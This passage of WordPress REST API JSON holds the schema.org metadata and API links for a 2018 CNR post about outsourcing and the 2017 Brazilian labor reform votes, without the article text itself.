2017","datePublished":"2018-01-04T19:48:08+00:00","mainEntityOfPage":{"@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/"},"wordCount":2604,"commentCount":0,"image":{"@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/#primaryimage"},"thumbnailUrl":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/img201708071023453742586.jpg","articleSection":["Not\u00edcia","\u00daltimas Not\u00edcias"],"inLanguage":"pt-BR"},{"@type":"WebPage","@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/","url":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/","name":"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017 - CNR","isPartOf":{"@id":"https:\/\/cnr.org.br\/novoportal\/#website"},"primaryImageOfPage":{"@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/#primaryimage"},"image":{"@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/#primaryimage"},"thumbnailUrl":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/img201708071023453742586.jpg","datePublished":"2018-01-04T19:48:08+00:00","author":{"@id":"https:\/\/cnr.org.br\/novoportal\/#\/schema\/person\/1f46209cd8c9d3d9887a0765b64ca66b"},"breadcrumb":{"@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/#breadcrumb"},"inLanguage":"pt-BR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/"]}]},{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/#primaryimage","url":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/img201708071023453742586.jpg","contentUrl":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/img201708071023453742586.jpg","width":2048,"height":1360},{"@type":"BreadcrumbList","@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"In\u00edcio","item":"https:\/\/cnr.org.br\/novoportal\/"},{"@type":"ListItem","position":2,"name":"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017"}]},{"@type":"WebSite","@id":"https:\/\/cnr.org.br\/novoportal\/#website","url":"https:\/\/cnr.org.br\/novoportal\/","name":"CNR","description":"Confedera\u00e7\u00e3o Nacional de Not\u00e1rios e Registradores","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/cnr.org.br\/novoportal\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pt-BR"},{"@type":"Person","@id":"https:\/\/cnr.org.br\/novoportal\/#\/schema\/person\/1f46209cd8c9d3d9887a0765b64ca66b","name":"Imprensa CNR","sameAs":["https:\/\/cnr.org.br\/site"],"url":"https:\/\/cnr.org.br\/novoportal\/author\/imprensa\/"}]}},"_links":{"self":[{"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/posts\/2691","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/comments?post=2691"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/posts\/2691\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/media\/13342"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/media?parent=2691"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/categories?post=2691"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/tags?post=2691"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}